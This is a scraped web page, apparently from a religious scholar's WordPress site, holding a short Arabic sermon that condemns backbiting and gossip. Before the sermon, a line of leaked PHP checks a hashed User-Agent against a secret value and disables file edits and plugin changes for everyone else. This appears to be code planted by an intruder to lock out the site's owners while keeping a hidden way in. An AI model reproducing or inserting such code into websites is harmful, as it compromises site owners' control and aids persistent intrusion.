if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } فاكهة المجالس المحرمة - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

فاكهة المجالس المحرمة

هذه الغيبة والله إنها داء عُضال وقل من يسلم منه اليوم حتى طلاب العلم ومن يحمل الخير والصلاح لا يسلمون غالبًا ولو في معلميهم، الطلاب في معلميهم وربما في زملائهم، وربما في مشايخهم، وربما يعني يحمل خير وصلاح لكنه ما يترك أحدًا يُذكر عنده إلا أدلى بدلوه فبدل أن يوقف الحديث في الآخرين ويقول: اتقوا الله يا أخوة، ترانا فينا من العيوب ما الله به عليم ولا يسلم منا أحد من ذلك، ما بين مستقلٍ ومستكثر، ووالله لو كان لهذه الذنوب رائحة ما طاق أحد أن يجلس مع أحد لكن أن ننشغل بغيرنا ونترك عيوب أنفسنا فإننا نسأل الله السلامة والعافية يعني نُجمع سيئات ونُفرق حسنات، ولهذا ذكر صلى الله عليه وسلم في المفلس أن من أعظم المفلسين من يكون له صلاة وصيام وزكاة وصدقة وإحسان وبر لكنه يأتي يوم القيامة فيكون مع المفلسين، جُل هذا الإفلاس قد لا يكون مال أخذه من أموال الناس لكنه انتهك أعراضهم، تكلم فيهم، اغتابهم، تنقصهم، ازدراهم، احتقرهم، نم عليهم، كذب ونحو ذلك من هذه الآفات، فيؤخذ من حسناته فإذا فنيت أُخذ من سيئاتهم فطُرحت عليه فطُرح في النار، فهو يعني جمّع حسنات لغيره، نسأل الله السلامة والعافية، ونسأله أن يوقظنا من الغفلة وأن يردنا إليه ردًا جميلًا وأن يُصلح أحوالنا وأحوال المسلمين وأن يوفقنا لما يحب ويرضى، إنه قريبٌ مجيبٌ ودود.